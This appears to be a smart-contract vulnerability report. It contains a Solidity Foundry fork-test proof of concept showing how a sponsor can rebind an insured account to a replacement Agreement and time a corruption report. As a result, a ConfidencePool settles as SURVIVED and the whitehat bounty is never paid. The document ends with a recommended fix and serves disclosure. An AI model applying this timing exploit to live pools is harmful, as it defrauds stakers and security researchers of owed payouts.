The sponsor can therefore move the insured account to a replacement Agreement, put both Agreements through their normal DAO-approved lifecycle, and report a genuine corruption on the replacement Agreement immediately before the old Agreement completes promotion. The pool moderator cannot flag CORRUPTED because the old Agreement is only PROMOTION_REQUESTED; one second later the old Agreement becomes terminal PRODUCTION, after which even the registry moderator's instantCorrupt(oldAgreement) call reverts. At pool expiry, claimExpired() reads that stale PRODUCTION state and irreversibly resolves the pool as SURVIVED despite the locked-scope account having been corrupted during the covered risk period.
pragma solidity 0.8.26;
import {Test} from "forge-std/Test.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {ConfidencePoolFactory} from "src/ConfidencePoolFactory.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {IAgreement} from "@battlechain/interface/IAgreement.sol";
import {IAgreementFactory} from "@battlechain/interface/IAgreementFactory.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {
AgreementDetails,
Account as AgreementAccount,
Chain as AgreementChain,
ChildContractScope
} from "@battlechain/types/AgreementTypes.sol";
import {MockERC20} from "test/mocks/MockERC20.sol";
interface ISubmissionAgreementChainView {
function getChainAccounts(string calldata caip2ChainId) external view returns (AgreementAccount[] memory);
}
contract CodexGpt5V5_20260712_SubmissionAgreementRebindingForkTest is Test {
address internal constant SAFE_HARBOR_REGISTRY = 0x0a652e265336a0296816aC4D8400880e3E537C24;
address internal constant ATTACK_REGISTRY = 0xdD029a6374095EEb4c47a2364Ce1D0f47f007350;
address internal constant AGREEMENT_FACTORY = 0x2Bee2970f10FDc2aeA28662BB6F6A501278Ebd46;
address internal constant REGISTRY_MODERATOR = 0x1bC64E6F187a47D136106784f4E9182801535BD3;
address internal constant OLD_AGREEMENT = 0xE550894617Ac4C1bbc019C2AA5D47495a0F07716;
address internal constant SPONSOR = 0x3EfcFc441c1e70A141850D4da0d5C7314952Fc3d;
address internal constant INSURED_ACCOUNT = 0xeEFCFBeFCE9a8fbB20694483DA9E6fBbcD5084A7;
uint256 internal constant PIN_BLOCK = 16_000;
string internal constant BATTLECHAIN_CAIP2 = "eip155:627";
address internal companion = makeAddr("submission-companion");
address internal honestStaker = makeAddr("submission-honest-staker");
address internal bonusContributor = makeAddr("submission-bonus-contributor");
address internal poolModerator = makeAddr("submission-pool-moderator");
address internal whitehat = makeAddr("submission-whitehat");
address internal recovery = makeAddr("submission-recovery");
IAttackRegistry internal attackRegistry = IAttackRegistry(ATTACK_REGISTRY);
IAgreement internal oldAgreement = IAgreement(OLD_AGREEMENT);
MockERC20 internal token;
ConfidencePool internal pool;
uint256 internal expiry;
function setUp() external {
vm.createSelectFork("battlechain_testnet", PIN_BLOCK);
assertEq(oldAgreement.owner(), SPONSOR, "fixture owner changed");
assertEq(attackRegistry.getAttackModerator(OLD_AGREEMENT), SPONSOR, "fixture moderator changed");
assertEq(
uint256(attackRegistry.getAgreementState(OLD_AGREEMENT)),
uint256(IAttackRegistry.ContractState.UNDER_ATTACK),
"fixture is no longer active"
);
ConfidencePool implementation = new ConfidencePool();
ConfidencePoolFactory factoryImplementation = new ConfidencePoolFactory();
ConfidencePoolFactory factory = ConfidencePoolFactory(
address(
new ERC1967Proxy(
address(factoryImplementation),
abi.encodeCall(
ConfidencePoolFactory.initialize, (SAFE_HARBOR_REGISTRY, address(implementation), poolModerator)
)
)
)
);
token = new MockERC20();
factory.setStakeTokenAllowed(address(token), true);
address[] memory scope = new address[](1);
scope[0] = INSURED_ACCOUNT;
expiry = oldAgreement.getCantChangeUntil() + 30 days;
vm.prank(SPONSOR);
pool = ConfidencePool(factory.createPool(OLD_AGREEMENT, address(token), expiry, 1, recovery, scope));
_stake(SPONSOR, 100e18);
_stake(honestStaker, 50e18);
_contributeBonus(50e18);
}
function testLockedScopeCorruptionSettlesAsSurvivedAfterAgreementRebinding() external {
AgreementAccount[] memory companionAccount = new AgreementAccount[](1);
companionAccount[0] =
AgreementAccount({accountAddress: vm.toString(companion), childContractScope: ChildContractScope.None});
vm.prank(SPONSOR);
oldAgreement.addAccounts(BATTLECHAIN_CAIP2, companionAccount);
AgreementAccount[] memory stored =
ISubmissionAgreementChainView(OLD_AGREEMENT).getChainAccounts(BATTLECHAIN_CAIP2);
string memory insuredAccountString;
for (uint256 i; i < stored.length; ++i) {
if (keccak256(bytes(stored[i].accountAddress)) == keccak256(bytes(vm.toString(INSURED_ACCOUNT)))) {
insuredAccountString = stored[i].accountAddress;
break;
}
}
assertTrue(bytes(insuredAccountString).length != 0, "fixture account not found");
vm.warp(oldAgreement.getCantChangeUntil());
string[] memory remove = new string[](1);
remove[0] = insuredAccountString;
vm.prank(SPONSOR);
oldAgreement.removeAccounts(BATTLECHAIN_CAIP2, remove);
assertTrue(pool.scopeLocked(), "pool scope must remain locked");
assertTrue(pool.isAccountInScope(INSURED_ACCOUNT), "pool must retain the insured account");
assertFalse(oldAgreement.isContractInScope(INSURED_ACCOUNT), "old agreement removed the account");
assertEq(attackRegistry.getAgreementForContract(INSURED_ACCOUNT), address(0), "binding was not cleared");
address newAgreement = _createReplacementAgreement(insuredAccountString);
vm.prank(SPONSOR);
IAgreement(newAgreement).extendCommitmentWindow(block.timestamp + 7 days);
vm.prank(SPONSOR);
attackRegistry.requestUnderAttack(newAgreement);
vm.prank(REGISTRY_MODERATOR);
attackRegistry.approveAttack(newAgreement);
vm.prank(SPONSOR);
attackRegistry.promote(OLD_AGREEMENT);
uint256 oldAgreementProductionAt = block.timestamp + 3 days;
vm.warp(oldAgreementProductionAt - 1);
vm.prank(SPONSOR);
attackRegistry.markCorrupted(newAgreement);
assertEq(attackRegistry.getAgreementForContract(INSURED_ACCOUNT), newAgreement);
assertEq(
uint256(attackRegistry.getAgreementState(newAgreement)), uint256(IAttackRegistry.ContractState.CORRUPTED)
);
assertEq(
uint256(attackRegistry.getAgreementState(OLD_AGREEMENT)),
uint256(IAttackRegistry.ContractState.PROMOTION_REQUESTED)
);
vm.prank(poolModerator);
vm.expectRevert(IConfidencePool.InvalidOutcome.selector);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, whitehat);
vm.warp(oldAgreementProductionAt);
assertEq(
uint256(attackRegistry.getAgreementState(OLD_AGREEMENT)), uint256(IAttackRegistry.ContractState.PRODUCTION)
);
vm.prank(REGISTRY_MODERATOR);
vm.expectRevert();
attackRegistry.instantCorrupt(OLD_AGREEMENT);
vm.warp(expiry);
vm.prank(SPONSOR);
pool.claimExpired();
vm.prank(honestStaker);
pool.claimSurvived();
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.SURVIVED));
assertEq(token.balanceOf(SPONSOR), 133_333333333333333333, "sponsor recovers stake plus bonus");
assertEq(token.balanceOf(honestStaker), 66_666666666666666666, "staker recovers stake plus bonus");
assertEq(token.balanceOf(whitehat), 0, "whitehat receives no pool bounty");
assertEq(token.balanceOf(address(pool)), 1, "only division dust remains");
vm.prank(poolModerator);
vm.expectRevert(IConfidencePool.OutcomeAlreadySet.selector);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, whitehat);
emit log_named_uint("sponsor payout", token.balanceOf(SPONSOR));
emit log_named_uint("honest staker payout", token.balanceOf(honestStaker));
emit log_named_uint("whitehat pool bounty", token.balanceOf(whitehat));
}
function _createReplacementAgreement(string memory insuredAccountString) internal returns (address agreement) {
AgreementDetails memory details = oldAgreement.getDetails();
details.protocolName = "Submission scope identity rebinding fixture";
details.agreementURI = "ipfs://submission-scope-identity-rebinding";
details.chains = new AgreementChain[](1);
details.chains[0].caip2ChainId = BATTLECHAIN_CAIP2;
details.chains[0].assetRecoveryAddress = vm.toString(recovery);
details.chains[0].accounts = new AgreementAccount[](1);
details.chains[0].accounts[0] =
AgreementAccount({accountAddress: insuredAccountString, childContractScope: ChildContractScope.None});
vm.prank(SPONSOR);
agreement = IAgreementFactory(AGREEMENT_FACTORY)
.create(details, SPONSOR, keccak256("codex-gpt5-v5-submission-agreement-rebinding"));
}
function _stake(address user, uint256 amount) internal {
token.mint(user, amount);
vm.startPrank(user);
token.approve(address(pool), amount);
pool.stake(amount);
vm.stopPrank();
}
function _contributeBonus(uint256 amount) internal {
token.mint(bonusContributor, amount);
vm.startPrank(bonusContributor);
token.approve(address(pool), amount);
pool.contributeBonus(amount);
vm.stopPrank();
}
}
Outcome authorization must follow the current registry bindings of the accounts in the locked pool scope, rather than treating the initialization-time Agreement as the only possible source of corruption. The moderator may use that signal to make the existing off-chain in-scope judgement. Permissionless expiry resolution should defer instead of auto-resolving SURVIVED while any current Agreement bound to a locked-scope account is CORRUPTED.